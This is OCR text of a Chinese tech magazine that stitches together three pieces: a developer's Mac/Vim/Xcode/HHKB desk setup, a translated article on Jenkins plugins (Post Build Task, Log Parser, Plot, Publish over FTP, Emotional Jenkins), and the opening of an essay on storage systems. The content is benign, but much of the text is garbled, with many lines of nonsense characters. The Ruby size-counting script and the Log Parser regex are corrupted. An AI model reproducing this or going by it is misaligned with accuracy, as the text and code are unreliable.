HE ETAT], [HE dE Ye X VA fii 
Н Vim 5 Е. АЖ Br V fH] 
Vim， 是 因为 听 说 使 用 习惯 了 
后 能 提高 编码 速度 ， 精 通 的 话 
看 起 来 就 像 专家 一 样 。 实 际 上 
Vim 和 HHKB 配合 起 来 使 用 效 
不 н, уин EE. 
我 现在 几乎 已 经 到 了 没有 Vim 
就 不 能 工作 的 地 步 了 。 


(D http://www.sublimetext.com/ 
(2) http://www.viemu.com/ 
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笔者 工作 中 必 不 可 少 的 Xcode 4。 通 过 使 用 ViEmu 插件 ， 可 以 继 


续 沿 用 已 经 习惯 了 的 Vim 操 作 ， 


进行 愉快 的 编码 工作 


Msc ESSERI. 我 在 工作 中 使 用 的 是 1920 x 1080 的 双 显 示 器 。 
桌面 上 放 的 文件 一 般 都 是 临时 的 资源 文件 


A 
ša IDE 


DE RIE EAH 
Xcode 4, Xcode 4 $R Y PJ LIX 
用 来 开发 iOS 应 用 程序 外 ， 由 
FHPU T iOS M A 
Instruments 等 工具 ， 因 此 从 详 
细 的 调试 到 应 用 程序 的 上 传 
S. жун) ЖЧ Xcode 42K 5c 
Wo Instruments HJ Leaks 工具 
特别 方便 ， 我 一 直 使 用 它 来 做 
内 存 泄露 的 调查 。 也 许 很 多 人 
都 会 使 用 Xcode 4 HJ Interface 
Builder 或 Storyboard 进行 UI 
JF, [Hé de AL EX НЕН 
码 来 编写 UI。 


TES 插件 


我 使 用 了 Xcode4 的 ViEmu2 
这 个 插件 。ViEmu 是 能 在 编辑 
器 里 使 用 Vi/Vim 命令 的 插件 ， 
最 近 发 布 了 文 持 Xcode 4 的 最 
新 版 本 。 以 前 也 有 一 些 类 做 的 
免费 插件 ， 但 是 多 数 都 不 稳定 ， 
或 者 支持 的 命令 较 少 ， 想 必 喜 
XX Hl Vim 的 iOS 应 用 开发 工程 
师 们 都 曾 为 此 伤 过 脑筋 。 虽 然 
ViEmu 这 个 插件 不 是 免费 的 ， 
而 且 还 不 是 很 便宜 ， 但 我 还 是 
非常 想 把 它 推荐 给 使 用 Vim 的 
工程 师 们 。 


gu 


| 


Ж а Мас HRE 
"SENE riis 
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7 Mac,， 软 件 工程 师 的 不 


à 观摩 个 性 十 足 的 桌面 


E ХА 


P opa pa" 


保持 Xcode 开 启 ， 通 过 Terminal 里 的 macvim-kaoriya 来 进行 编码 


开始 使 用 Mac 的 原因 


在 4 年 前 准备 开始 学 习 
iPhone 应 用 开发 的 时 候 ， 不 得 
已 П ЗЕ f MacBook Air, 这 也 
是 我 第 一 次 使 用 Mac 系统 。 从 
那 之 后 , 在 磋 磋 绊 绊 地 使 用 
Mac 的 过 程 中 ,渐渐 被 它 的 魅 
力 所 吸 引 ， 在 半年 后 就 将 之 前 
作为 主力 机 硕 使 用 的 Windows 
PC 换 成 iMac 了 。 现 在 不 管 是 
在 公司 还 是 在 家 里 ,我 都 是 用 
MacBook Pro Retina with Apple 
Thunderbolt Display。 此 外 我 还 
有 一 台 MacBook Air, 一 般 在 


(D http://totalterminal.binaryage.com/ 


~ = 
= x 
| имичи "=" 748 TH —-— —L-1 riu 


出 差 或 者 参加 技术 沙龙 的 时 候 
fi Hi. 

有 了 时候 工作 上 也 需要 使 用 
Windows 或 者 Linux 系统 ， 这 
种 情况 下 我 都 会 通过 Parallels 
Desktop 来 运行 Mac 之 外 的 OS。 


FFR A 


Tp — EET TER, WMR 
新 安装 了 系统 一 样 。 我 一 般 将 
果 面 作为 工作 空间 来 使 用 ， 工 
VE 
ЖАНУ) ЖЇР, 或 者 临时 文档 ， 使 
я ИА, НАТЕ Т 
作 告 一 段落 的 时 候 ， 我 就 会 把 


== — =т==> 


二 之 选 ? __ 


Terminal. Vim 
和 Xcode 组合 


个 人 信息 


所 友 太 ( TOKORO Yuta ) 
@tokorom 
http://www.tokoro.me/ 

112% 

4 年 

MacBook Pro ( Retina )、 
MacBook Air, iMac 


移动 应 用 软件 开发 工程 师 ， 主 
要 进行 iOS 应 用 的 开发 。 最 
近 一 直 负 责 公 司 内 部 Library 
的 开发 。 著 有 《iPhone 编程 
UIKit 详解 六 《详解 EZ 应 用 
(BREW ) 编 程 六 两 本 书 都 由 
RIC TELECOM 出 版 发 行 )。 


果 面 上 的 东西 扔 进 垃圾 箱 或 者 
Tess BIST EXC 5. 


开发 环境 


“Eg Xcode 和 
Terminal.app 

Т TE Начо У) 
时 候 , dk Z yM xh £ Р Н 
Xcode 和 Terminalapp。 上 有 具体 来 
说 就 是 ， 编写 代码 的 时 候 使 用 
Terminal， 编 译 或 者 调试 的 时 候 
则 使 用 Xcode。 鉴 于 这 种 情况 ， 
在 Xcode 和 Terminal 之 间 快 速 地 
进行 切换 就 显得 很 重要 了 。 所 
以 我 选择 了 使 用 TotalTerminal 


„ш ы 
P sa 


这 个 软件 。 在 TotalTerminal H! , 
我 将 连 击 两 次 [command 键 设置 为 
将 Terminal 切换 到 前 全 的 快捷 
键 。 此 外 我 还 做 了 如 下 设置 。 


在 Termial 里 编写 代码 时 ， 
如 果 想 在 真 机 .上 进行 验证 ， 
X 13. XE 32 gx 1] (Command), 
(Command), (Command) + [Rj 切 
换 到 Xcode 并 执行 即 可 

rft Xcode E xt 45 ys ut 
Ка, BJ 以 通过 (Command), 
调 出 Terminal 来 
继续 修改 代码 


之 所 以 使 用 Xcode 和 Teminal 

这 种 组 合 , 最 主要 的 原因 就 

是 我 非常 喜欢 使 用 Vim 进行 
编码 。 

为 了 能 在 Vim 里 编写 

Objective-C 人 代码， 我 安装 了 二 

ЮЕ, i 


Peg 


r kb (vag…… 在 源 文 件 和 


PRU EPERRA KEERA. 里 然 亚 作 中 会 在 泉 面 
上 保存 各 种 各 样 的 文件 ， 但 是 工作 结束 后 残 会 进行 清理 


БЕГЕ, Дзе 


У (2 IBI ARS 
切换 


地 进行 


unite.vim 和 FuzzyFinder 
好 像 也 很 不 往 
rneocomplcache & neosnippet 
灵活 使 用 代码 片 
段 (Code Snippet ) 功 ВЕ. 
即使 你 没有 完全 记 住 
snippet 的 关键 字 ， 它 也 
能 够 目 动 补 全 ， 非 党 万 便 


ЛИУ, ИЧ 
使 用 的 其 他 插件 也 有 兴趣 的 话 ， 
可 以 到 我 Github 上 的 dotfiles® 
p. 


用 左手 小 拇指 
AR BB да 
(Option) 键 


(2 具体 来 说 是 在 Terminal H fii H] macvim-kaoriyao 


(3) https://github.com/tokorom/dotfiles 


(4) https://pqrs.org/osx/karabiner/index.html.en 


(5) 即 左手 放 在 asdf 上 ， 右 手 放 在 jk1 上 。 一 一 译 者 注 


键盘 必须 是 HHKB 


我 非常 喜欢 使 用 的 键盘 
是 Happy Hacking Keyboard 
Professional Type-S( 后 文 简 称 
为 HHKB) 最 喜欢 HHKB 的 
J ES Е 725 TEJE TA 
Z1. 
因为 我 很 喜欢 Vim 编辑 器 
所 以 即使 在 Yim 之 外 ， 有 了 时候 
tE m H JAHU) ER HEIT 
ЕРА Е BLU 
ТЕ Key Remap4MacBook $ 
yr Ж (TE HHKB 的 左下 
ff ) RI AH L] ери F il 
НАК, Ж mji q jJ 
Zr 431 IR] НАЧАР —}р„ 
А, WW BJ JE А 
还 在 于 把 手 放 在 键盘 的 基准 键 
位 置 ” 上 就 可 以 使 用 方向 键 ， 
因此 我 就 想 要 是 能 在 基准 键 位 
置 也 能 按 下 无 ЖЛ T o 
为 了 达到 这 个 目的 ,需要 用 左 
手 小 拇指 的 根部 来 按 左 (Option) 
Ж OGIE XC ex TH АЁ DA JURE XX 
^ uME, ТУУ Y К 
片 供 大 家 参考 )， 能 完成 这 个 操 
作 的 键盘 很 少 ，HHKB 就 是 其 
中 之 一 ， 所 以 现在 我 已 经 越 来 
越 离 不 开 它 了 。 
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活用 Jenkins 


= 按部就班 真 的 可 行 吗 ?9 


从 小 规模 工程 学 寺 


真 的 有 必要 用 程序 来 做 这 些 吗 ? 


FT 
ТЕТІ 
ш ERN 
masa EHE 


本 回 将 介绍 Jenkins 的 插件 。Jenkins 本 身 无 法 实现 的 一 些 功能 ， 可 以 利用 插件 来 补充 。 很 多 便利 的 插 
件 已 经 成 为 Jenkins 重 要 的 一 部 分 。 这 里 笔者 将 对 目 己 的 Jenkins 环境 中 所 使 用 的 插件 以 及 其 使 用 方法 进行 


介绍 。 


DEDNO GL DLL 39, S699. Qt 30? O9 99 LOD 99. QU с), 


ih d^ 


Jenkins 的 搬 件 大 致 可 分 为 两 类 。 同 
Jenkins Н Er — ERRA, MU Subversion 和 
CSV ( Concurrent Versions System ) 这 类 版 本 管 
理 系统 (以 下 称 VCS ) 所 使 用 的 插件 ， 以 及 从 
“系统 管理 ”中 的 “管理 插件 ”安装 的 插件 。 

VCS 所 使 用 的 插件 中 ， 也 有 需要 通过 “ 管 


9) 理 插件 "来 安装 的 ， 例 如 Git 插 件 。 可 能 稍 显 


肪 烦 ， 但 正 因 为 可 以 从 “管理 插件 ” 安 靖 新 的 
插件 ,今后 即便 出 现 了 新 的 VCS， 只 要 有 其 对 
应 的 插件 ， 也 就 可 以 马上 在 Jenkins 中 使 用 了 。 
可 以 从 “管理 插件 ” 安 闭 的 插件 ， 有 与 
build 相 关 的 ,也 有 与 JOB 设 定 相 关 的 ， 种 类 
可 谓 各 式 各 样 。 实 用 的 插件 确实 有 很 多 ， 但 如 
何 查 找 想 要 的 插件 是 一 件 比 较 麻 烦 的 事 。 本 文 
将 首先 对 在 何 处 配置 与 插件 相关 的 操作 等 插件 
的 管理 方法 进行 说 明 。 之 后 ， 再 向 那些 不 知道 
安装 哪个 插件 好 的 谈 者 ， 介 绍 一 下 笔者 所 使 用 
的 一 些 非常 方便 的 插件 。 
S93 6699, QU дб, 9955699. QU So OU 9 S609. «QU So". 


查找 插件 


首先 , 我 们 来 看 一 下 已 经 安装 了 哪些 插件 。 
点 击 “ 系 统管 理 ” 中 的 “管理 插件 ”， 进 入 插件 
管理 页 面 (图 1 )。 


文 / 岛 崎 聪 ( 株 )XVI emm» @sato_c 译 / 阿 饮 


可 以 看 到 4 个 Tab, 分别 是 “更 新 “可 先 
插件 "已 安装 "“ 高 级 ”。 我 们 将 逐个 进行 说 明 。 


e “更 新 "Tab 

在 这 里 可 以 将 已 安装 的 插件 更 新 到 最 新 版 
本 。Jenkins 自 映 升 级 后 ， 旧 版 本 的 插件 可 能 
法 正常 运行 ， 这 时 可 以 在 此 页 面 确 认 是 否 有 插 
件 更 新 的 信息 。 


© “ОЈ Tab 

当前 公开 中 的 插件 一 览 。 在 需要 安装 的 插 
件 前 打上 勾 ， 点击 “直接 安装 ”或 者 “下 载 竺 
重启 后 安装 "(图 2)， 夯 面 迁移 到 下 载 页 面 (图 
3 )， 等 待 安 猴 完毕 即 可 。 


@ 1 插件 管理 页 面 


Jenkins акс E 
Јан л 
№ id Fiter: | k 
£F LES o | WE m аж 
жа "e кї. ERTH 
sor Pluam 
n ad пал 
nd Ры 
ж Jini 
d Pua їй 
нн to Pin 


г чә | A 人 "ч ° рп ичи =” гм TL 


真 的 有 必要 用 程序 来 做 这 些 吗 ? 


@“ 已 安装 "Tab 

对 已 安装 的 插件 进行 管理 。 可 以 选择 是 否 
启用 插件 、 缉 载 插件 或 者 降 到 上 一 个 安装 的 
版 本 。 


e “高 级 "Tab 

在 “局 级 "Tab 下 面 ， 可 以 设置 下 载 使 用 的 
代理 服务 融 、 升 级 插件 的 源 站 点 ， 还 可 以 手动 
安装 已 经 下 载 的 捅 件 文件 (扩展 为 .hpi) 无 法 
日 动 安 净 的 插件 ,或 者 从 其 他 计算 机 下 载 的 .hpi 
ЖИЕ, прие EHT ER. 
SOS GE SO. «00 9070099515699) «Ө ae AE NTN 


插件 的 安 委 路 径 


后 文中 有 几 人 处 需要 进入 到 插件 的 安装 目录 
进行 查看 。 一 般 情 况 下 ，Jenkins 的 安装 目录 下 
有 名 为 “Plugins” 的 文件 来， 插件 就 被 安装 在 
Plugins 下 与 插件 同名 的 文件 夹 下 。Jenkins 安 
装 目 录 的 路 径 和 08 环境 相关 ， 根 据 具 体 情 况 
会 有 所 不 同 ， 这 一 点 请 谈 者 注意 。 

9956889; CA CANE NN A QUU NN 


插件 介绍 


下 面 将 介绍 笔者 所 使 用 的 插件 。 大 致 可 分 
为 两 类 : Skypebot 中 使 用 的 插件 以 及 笔者 用 来 
确认 Jenkins 的 工作 状态 的 插件 。 


C) Post Build Task 


该 插件 在 前 一 回 出 中 有 过 介绍 ,为 了 将 
JOB 的 运行 结果 传递 给 Skypebot， 需 要 使 用 该 
插件 对 从 命令 行 输出 的 log 进 行 解析 。 

该 插件 会 查找 log 中 是 否 出 现 了 特定 的 关 
健 字 ， 并 根据 查找 结果 执行 脚本 。 当 存在 多 个 
A EHE, 还 可 以 通过 AND/OR 对 条 件 加 以 组 
合 。 例 如 将 多 个 转换 处 理 放 在 一 个 JOB 中 执行 
时 ,就 可 以 使 用 该 插件 ， 这 样 即 使 有 个 别 转 换 
处 理 失 败 ， 也 会 对 其 余 转换 成 功 的 数据 进行 提 
交 。 笔 考 还 使 用 该 插件 ， 对 每 一 个 正常 结束 的 


(D 本 杂志 2013 年 2 月 刊 。 
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JOB, [5] Skypebot 发 送 “JOB 名 build 序 号 成 功 ” 
这 样 的 消息 。 如 果 只 在 JOB 处 理 全 部 完成 后 
再 发 送 消息 的 话 ， 即 使 出 现 错误 也 会 像 平 稍 一 
样 发 送 消息 ， 所 以 笔者 使 用 该 插件 进行 了 条 件 
设置 。 

图 5 所 示 的 设置 为 , 查找 人 符合 “(数字 ) 
file(s) converted ”模式 的 关键 字 ， 如 果 找 到 的 
话 就 运行 脚本 栏 中 记载 的 脚本 。 这 次 只 设 定 了 
一 个 条 件 , 如 果 涉 及 多 个 条 件 的 话 , 点 击 “ 增 加 ” 
键 并 输入 条 件 即 可 。 不 再 需要 的 条 件 通过 点 击 
“Delete Log Text" 删除 即 可 。 脚 本 下 面 的 两 个 


@ 图 2 可 选 插件 页 面 


Jenkins a o 
CLEE ^ nmm 
бы ena: [ 
,F ES mmn НАШ сти ж 
$ п=шес = | ik at 
Айал Upioaders 
Anpalagsa Plur 
Ci 
A he deck Pr 


SENSA 插件 中 

Ж MuR 

£ "naa ws a tantar maq cerei purinan tw 
Васак Mun ы ва 

ани 

V langusmrasssras 
WR рани нета TEM] 

а= е арт 


@ 图 4 Post Виа Task 的 条 件 配置 


Post Беда ts 


Таа 


9901668070030) NO YL NN RL NNDS 


EAN TL 


SD LOODI NA A NTN (90/0039) EO EA OLA 
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` (S, 按部就班 真 的 可 行 中 


选择 项 为 “所 有 步骤 都 成 功 的 情况 下 才 运 行 脚 
本 ”和 “脚本 的 运行 结果 反映 到 JOB 的 状态 中 ” 
的 设置 ， 两 者 都 是 在 确认 JOB 正 党 执行 的 基础 
上 ,根据 需要 进行 设置 的 。 


D Log Parser 


该 插件 同样 是 一 款 用 于 解析 命令 行 输 出 
的 log 的 插件 , 不 同 之 处 在 于 该 插件 会 将 解 
析 的 结果 反映 到 JOB 的 状态 中 。 笔者 的 环 
境 中 使 用 它 来 实现 当 build 的 结果 为 Warning 
时 ,将 JOB 的 状态 设置 为 既 非 成 功 也 非 失 败 的 
UNSTABLE 状 态 。 这 样 ， 如 采 找 不 到 上 自动 生 
成 的 代码 中 include 的 文件 ， 就 能 立刻 察觉 。 


e ñr =ë 

在 项 目的 配置 中 输入 解析 规则 (Parsing 
Rules ) 的 名 称 (Description ) 和 记载 有 需要 解 
析 的 关键 字 的 文件 (Parsing Rules File ) 即 可 
ОЁ б) 

文件 中 需要 解析 的 关键 字 是 用 Java 的 正则 
表达 式 记 载 的 。 例 如 查找 关键 字 “Warning”， 
如 果 有 的 话 就 发 出 警告， 而 随 关 工具 的 改变 ， 
天 键 字 “Warning” 的 输出 形式 也 会 有 所 差异 。 
如 果 逐 一 列举 的 话 会 比较 麻烦 ， 为 了 能 够 不 区 
分 大 小 写 并 从 行 首 开始 查找 ， 可 以 写成 如 下 
Дети 


warn/(?i)^warngin/ 


@ 图 5 配置 事例 


en | DATA Пеша * NT 
Post build task e 


设 定 为 (\d+)file\(s\) converted 


Tasks 


| fem | 
Song sendeskypa BUILD OE : i 
S BOB. мам 
9105 NLIHBER*E 
Run вопр only if all prewicus steps were succezstul vi є 
i p jat 121 Р; 


[ma || mm 


从 小 规模 工程 学 习 活 用 Jenkins 


此 外 ,还 可 以 添加 诸如 ok/error/info/start 
这 样 的 规则 。 在 显示 log 的 页 面 上 可 以 使 用 
info 和 start 使 处 理 的 各 个 阶段 的 分 隔 更 醒目 。 
笔者 的 JOB 中 在 代码 提交 后 和 test build 之 间 使 
用 了 info 和 start。 另 外 还 添加 了 Warning 4H £8 
误 的 解析 规则 ， 对 输出 的 错误 消息 进行 解析 ， 
并 根据 结果 修正 代码 或 调查 build 的 配置 是 否 
有 问题 。 

有 时 ， 即 便 出 现 了 错误 也 有 可 能 无 法 被 正 
确 地 反映 到 处 理 结果 中 。 例 如 批 处 理 文件 中 调 
用 的 其 他 批 处 理 文 件 返 回 了 错误 代码 的 情况 下 ， 
这 时 人 处理 将 继续 执行 到 底 ， 并 不 会 因为 错误 而 
俘 止 ， 因 此 就 可 能 会 导致 在 确认 生成 的 文件 
之 后 才 发 现 无 法 使 用 。 可 以 用 Log Parser 应 对 
这 类 问题 。 虽 然 需要 调查 清楚 发 生 怎 样 的 错误 
时 会 输出 怎样 的 消息 ， 但 这 个 通过 确认 出 错 的 
build 的 命令 行 即 可 。 

记载 解析 规则 的 文本 文件 不 可 以 放 在 任意 
的 目录 下 ， 而 应 该 放 在 代码 库 中 统一 管理 。 虽 
然 这 个 文件 可 能 不 会 被 频繁 地 修改 ,但 如 采 没 
有 固定 的 存放 路 径 ， 人 们 常常 会 忘记 该 文件 的 
存在 。 所 以 最 好 还 是 放 在 和 其 他 代码 以 及 脚本 
相同 的 路 径 下 进行 管理 。 


Oo Build Pipe Line 


iE — 3B. 13 X. 1 8 ( dashboard ) 画面 显 
示 JOB 一 览 ， 使 其 更 易于 查看 的 插件 。 通 过 仪 
表盘 画面 能 确认 各 JOB 之 间 的 交互 关系 ， 以 及 
成 功 或 失败 等 消息 。 当 目 己 想 查 看 build JOB 
的 流程 时 ， 一 般 会 使 用 该 插件 。 但 在 笔者 的 环 
境 中 ， 其 他 人 不 太 担 心 JOB 之 间 的 交互 ，JOB 
的 成 功 或 失败 也 会 通过 Skypebot 告 知 ， 所 以 不 
需要 通过 仪表 盘 来 确认 。 


@ 图 6 Log Parser 的 配置 


Console Ош t Parsin 
Parsing Rules Description 


Spurt bulld 


Parsing Rules File project/ecripts/parse.txt 


Tm 
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真 的 有 必要 用 程序 来 做 这 些 吗 ? 


e fom 

可 以 将 JOB 一 览 做 成 Tab， 这 种 情况 下 新 
添加 的 Tab 称 为 视图 。Build Pipe Line 就 是 该 
视图 的 一 种 ， 用 于 将 JOB 之 间 的 关系 图 像 化 ， 
并 显示 在 仪表 盘 画 面 上 。 

点 击 JOB 一 览 右 侧 的 “+” ， 进 入 视图 的 种 
类 选择 页 面 (图 7)。 这 里 选择 "Build Pipeline 
View”， 并 输入 视图 名 , 就 进入 了 配置 画面 
(图 8 )。 

画面 所 示 的 配置 中 需要 修改 的 部 分 为 
"Select Initial Job”， 这 里 选择 最 先 执行 的 JOB。 
其 余 的 配置 可 以 根据 需要 进行 修改 。 过 去 的 
build 的 显示 件数 会 随 大 该 视图 中 包含 的 JOB 
的 数量 而 有 所 变化 。 点 击 “ 保 存 ” 后， 显示 的 
画面 应 该 更 易于 查看 JOB 之 间 的 关系 ， 成 功 或 
失败 也 更 易于 理解 (图 9 )。 


D Plot 


AE ИЕ, BURKE 
LUI ВЕС RASA S TETATT JOB 的 同时 ， 
可 以 将 磁盘 整体 的 容量 以 及 特定 目录 的 容量 
图 表 的 形式 总 绪 出 来 ， 这 时 就 需要 用 到 "Plot" 
插件 。 虽然 需要 预 完 进 行 一 些 准 备 ,但 只 要 在 
JOB 中 添加 统计 ， 磁 盘 容 量 的 状况 怠 能 够 一 览 
ХЖ. 


@ 准备 制作 图 表 用 的 数据 
运行 该 插件 需要 记录 有 制作 图 表 使 用 的 数 
据 的 .properties 文件 ， 例 如 下 面 这 种 。 


例 ) imagesize.properties 
YVALUE=264 . 464 


YVALUE 为 纵 轴 的 值 , 在 build 中 生成 并 
保存 。 横 轴 为 各 build 的 序号 。YVALUE 保存 
fr build 目录 下 的 CSV 文 件 中 ， 所 以 能 够 直接 
使 用 。 在 JOB 处 理 的 最 后 ,会 对 生成 文件 的 
大 小 进行 统计 ， 并 运行 脚本 将 统计 得 出 的 值 写 
入 文本 文件 ， 之 后 就 可 以 通过 图 表 确 认 每 一 次 
build 后 傍 盘 容量 的 增 减 情况 了 。 

例如 ， 对 文件 夹 中 图 像 文件 的 大 小 进行 统 
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计 并 输出 的 脚本 如 下 (代码 清单 1)。 脚 本 中 还 
扎 加 了 将 统计 得 出 的 文件 大 小 写 入 文本 文件 
的 处 理 。 在 JOB 中 对 所 制作 的 图 表 进 行 配 置 
(图 10 )， 可 以 设置 图 表 的 名 称 、 制 作 时 使 用 的 
build 数 以 及 网 表 的 风格 等 。 由 于 本 次 使 用 的 
是 .properties 文件 ， 所 以 文件 形式 选择 "Load 
data from properties file", BP Љ ix XE 的 “date 
series file” 中 读 取 数据 并 描画 (图 11 )。 


o Publish over FTP 


该 插件 的 作用 是 将 指定 的 输出 文件 上 传 到 
ftp 服务 器 。 笔 者 的 环境 中 ， 当 初 安 装 该 插件 


@ 图 7 选择 视图 的 种 类 


build convert | all E 


name | 


DATA Compile Bj: 3 天 15 小 时 - #11 


DATA ReduceColor Bj: 3 天 15 小 时 - #20 


EAN A =f — —⁄— —— | — LTr 


Ma 按部就班 真 的 可 行 吗 ? 


是 打算 用 ftp 进 行 作业 提交 的 。 现 在 倒是 没有 
用 它 来 进行 提交 ， 而 是 用 来 将 输出 文件 保存 到 
别 的 服务 大 上 。 
该 插件 的 配置 项 不 多 。 首 先 在 Jenkins 的 
Жа НГ BUE Ар Л, mu EAS dd. 
host. ID. BAIR ftp Ht 3 zs wa HJ C£ Н 
xx ( 12» 

接着 是 JOB 中 的 配置 (图 13), 需要 设 
置 的 有 传输 文件 的 路 径 (Transfer Set Sources 
file )、 需 要 从 文件 名 中 删除 的 内 容 (Remove 
prefix ) № ftp Hk 7 88 Ym BJ Н я 44 ( Remote 
directory ). 需要 从 文件 名 中 删除 的 内 容 是 指 ， 
举例 来 说 ,传输 的 文件 名 为 “/project/artifacts/ 
BUILD20130505.zip” 的 情况 下 ， 如 果 设 置 删 
除 的 内 容 为 “/project/artifacts/”， 那 么 实际 上 传 
的 文件 名 就 为 “BUILD20130505.zip”。 这 样 一 


ө 代码 清单 1 例 (脚本 : imagesize.rb ) 


H$) БЕНЗ: FH Bà 

002 : image List = Dir.glob( ARGVLOJ.to s ) 
HS) 计算 所有 文件 的 大 小 

004 : image file size = 0 

005 : image list.each do |name| 

006 : file status = File.stat(name) 

HE ) image_file_size += file_status.size 
008 : end 

HH ) 输出 的 xX 件 名 

010 : IMAGESIZE="imagesize.properties" 
37$$ ) ”输出 文件 

012 : File.openCIMAGESIZE,"w") do |f| 

015 : f.write(sprintf("YVALUE=Z.03f", 
image_file_size)) 

014 : end 


@ 10 ”Plot 的 配置 
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从 小 规模 工程 学 避 活 用 Jenkins 


来 ,输出 的 文件 就 会 在 JOB 的 最 后 通过 ftp 被 
传送 到 指定 目录 中 。 通 过 配合 使 用 这 款 插件 和 
Post Build Task 插 件 以 及 发 送 邮 件 的 脚本 ， 并 
事先 制作 好 ftp 上 传 成 功 后 发 送 “ 提 交 成 功 ” 这 
样 的 邮件 的 JOB， 就 可 以 在 深夜 进行 build， 成 
功 后 在 凌晨 用 ftp 提 交 zip 文 件 ， 并 在 ft 好 传输 结 
束 后 立刻 发 送 邮 件 。 怎 么 样 ， 是 不 是 很 棒 呢 ? 


o Emotional Jenkins 


这 是 一 款 可 以 根据 JOB 的 执行 结果 改变 
画面 显示 的 插件 。 在 JOB 的 build 信 息 画 面 中 ， 
将 成 功 /失败 /警告 显示 为 不 同 的 图 像 。 虽 说 用 
蓝 / 红 / 黄 这 三 种 颜色 表示 JOB 的 执行 结果 也 
算 通 众 易 懂 ， 但 这 次 让 我 们 来 换 点 花样 ， 如 果 
成 功 的 话 就 显示 Jenkins 先 生得 意 的 表情 (图 14 
中 ) ; 失败 的 话 就 显示 带 着 魔鬼 面具 的 Jenkins 
先生 (图 14 左 )。 即 使 JOB 执行 失败 ， 但 如 果 
每 次 都 看 到 魔鬼 面具 ， 或 者 是 Jenkins 先生 得 
意 的 表情 ， 不 免 让 人 觉得 厌烦 ， 所 以 这 里 介绍 
一 下 图 像 的 蔡 换 方法 。 


@ 图 11 可 以 通过 图 表 来 确认 
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@ 图 12 Jenkins 中 的 配置 项 目 
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真 的 有 必要 用 程序 来 做 这 些 吗 ? 


951577; 

xx HUBER ES EUER V ER Н ж 
"emotional-jenkins-plugin" "F "images" X fF 3€ 
下 的 文件 。 初 始 状 态 下 ,， 成功/ 失败 /不 稳定 
的 情况 下 将 分 别 显 示 jenkins/angry-jenkins/sad- 
jenkins 的 PNG 图 像 文件 。 

替换 网 像 文件 后 ，build 信 息 画 面 上 Jenk ns 
先生 的 面孔 也 就 不 见 了 。 这 次 我 们 准备 了 样 
图 外 ， 如 图 15 所 示 。 替 换 后 重新 启动 Jenkins， 
打开 build 信 息 画 面 ， 即 可 确认 图 像 已 经 发 生 
T EE (416 ). 


D 样 图 已 上 传 至 笔者 的 GitHub ( https;//github.com/sato-c/sd _ 
jenk ns )， 供 想 试 着 罕 换 但 手头 没有 合适 图 像 的 读者 使 用 。 


© 1з JOB 中 的 配置 项 目 
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Jenkins Bd н Ax Ze, JF Hë ХАЛ, 
乎 都 是 英文 的 ， 所 以 很 多 人 一 开始 都 会 党 得 无 
从 人手 。 但 是 只 要 知道 如 何 配置 ， 就 可 以 目 己 
慢 慢 摸索 ， 所 以 首先 要 试 着 安 法 一 下 。 这 次 介 
绍 的 插件 都 是 笔者 在 考虑 好 其 使 用 场景 的 基础 
上 搜索 到 的 。 

可 以 通过 搜索 Jenkins 插件 一 览 的 说 明 中 
包含 的 关键 字 ， 试 春 安 装 一 下 党 得 相符 合 的 捅 
件 ， 或 者 用 Google 搜 索 捅 件 名 ， 看 一 下 网 上 的 
评论 ， 或 者 咨询 一 下 身边 使 用 该 插件 的 人 等 ， 
判断 该 插件 是 否 符合 日 己 的 需求 。 


@ 15 蔡 换 用 的 文件 
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存储 系统 从 其 与 生 俱 来 的 使 命 来 说 ， 就 难 
以 摆脱 复杂 系统 的 魔 吃 。 无 论 是 单机 时 代 的 文 
件 系 统 ， 还 是 后 来 C/S 或 B/S 结构 下 数据 库 这 
样 的 存储 中 间 件 的 兴起 ， 还 是 如 今 炙 手 可 热 的 


云 存 储 服务 , 存储 都 很 复杂 , 而 且 是 越 来 越 复杂 。 

存储 为 什么 会 复 森 ,要 从 什么 是 存储 谈 起 。 
存储 这 个 词 非常 平 几 ， 存储 + 计算 (操作) 就 构 
成 了 一 个 朴素 的 计算 机 模型 。 人 简单 来 说 ， 存 储 
就 是 负责 维持 计算 系统 的 状态 的 单元 。 从 维持 
状态 的 角度 ,我 们 会 有 最 朴 系 的 可 徘 性 要 求 。 
比如 单机 时 代 的 文件 系统 ， 对 于 机 器 断 电 、 程 
序 故 障 、 系 统 重启 等 常规 的 异常 ， 文 件 系 统 必 
须 可 以 正确 地 应 对 ， 甚 至 对 于 磁盘 而 区 损坏 ， 
文件 系统 也 需要 考虑 尽量 将 损失 降 到 最 低 。 对 
于 大 部 分 的 业务 程序 而 言 ， 你 只 需要 重点 关注 
业务 的 正常 分 文 流程 就 行 ， 对 于 出 乎 意料 的 情 
况 ， 通 各 只 需 抛 出 一 个 错误 ， 告 诉 用 户 你 不 该 
这 么 玩 。 但 是 对 于 存储 系统 ， 你 需要 花 袖 绝 大 
部 分 精力 在 各 种 异常 情况 的 处 理 上 ， 其 至 你 应 
该 认为 ， 这 些 庞杂 的 、 多 样 的 错误 分 文 处 理 ， 
才 是 存储 系统 的 “正常 业务 逻辑 ”。 

到 了 互联 网 时 代 ， 有 了 CS 或 B/S 结构 ， 
存储 系统 又 有 了 新 指标 一 一 可 用 性 。 为 了 保证 
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时 时 保持 在 线 ，, 最 好 做 到 逻辑 上 是 不 宕 机 的 (可 
用 性 100% ). 服务 天 程序 怎么 才能 做 到 高 可 用 
VE? 答案 是 存储 中 间 件 。 没 有 存储 中 间 件 ， 意 
味 看 所 有 的 业务 程序 ， 痢 必 须 考 感 每 进行 一 步 
操作 就 对 状态 进行 持久 化 ， 以 便 自 己 挂 挥 后 为 
一 全 服务 融 ( 或 者 目 己 重 局 后 ) 知 道 之 前 工作 到 
了 哪里 ， 接 下 去 应 该 做 些 什么 。 但 是 对 状态 进 
fr A k thaya iñ) ETE SEP, THE ARE 
业务 都 自己 实现 ,负担 无 疑 非常 沉重 。 但 如 来 
有 了 局 可 用 的 存储 中 间 件 ， 服 务 问 端的 业务 程 
序 就 只 需 操作 存储 中 间 件 来 更 新 状态 ， 通 过 同 
时 局 动 多 份 业务 程序 的 实例 做 互 备 和 人 负载 均衡 ， 
很 容易 实现 业务 远 辑 上 不 宕 机 。 

所 以 ,数据 库 这 样 的 存储 中 间 件 的 出 现 基 
本 上 是 历史 必然 。 尺 管 数 据 库 很 通用 , Haze 
不 会 是 唯一 的 存储 中 间 件 。 比 如 业务 中 用 到 的 
富 媒 体 ( 图 片 、 音 视频 、Office 文 档 等 ) Ri] 
很 少 会 去 存储 到 数据 库 中 ， 更 多 的 时 候 是 把 它 
们 放 在 文件 系统 里 。 但 是 单机 时 代 诞 生 的 文件 
